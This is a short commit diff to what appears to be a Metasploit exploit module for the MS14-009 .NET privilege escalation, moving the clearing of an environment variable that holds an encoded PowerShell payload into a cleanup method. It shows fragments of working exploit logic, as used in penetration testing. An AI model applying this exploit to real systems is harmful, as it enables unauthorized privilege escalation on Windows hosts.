Don't clean env variable before using it

Author: jvazquez-r7

modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

@@ -151,7 +151,6 @@ def exploit
     print_good(".NET looks vulnerable, exploiting...")
 
     cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
-    print_status cmd
     session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
 
     temp = get_env('TEMP')
@@ -165,8 +164,6 @@ def exploit
         'Extension'       => false,
         'SaveToDisk'      => false
     )
-
-    session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
   end
 
   def valid_mscorlib_version?(net_version, mscorlib_version)
@@ -191,5 +188,10 @@ def valid_mscorlib_version?(net_version, mscorlib_version)
     valid
   end
 
+  def cleanup
+    session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
+    super
+  end
+
 end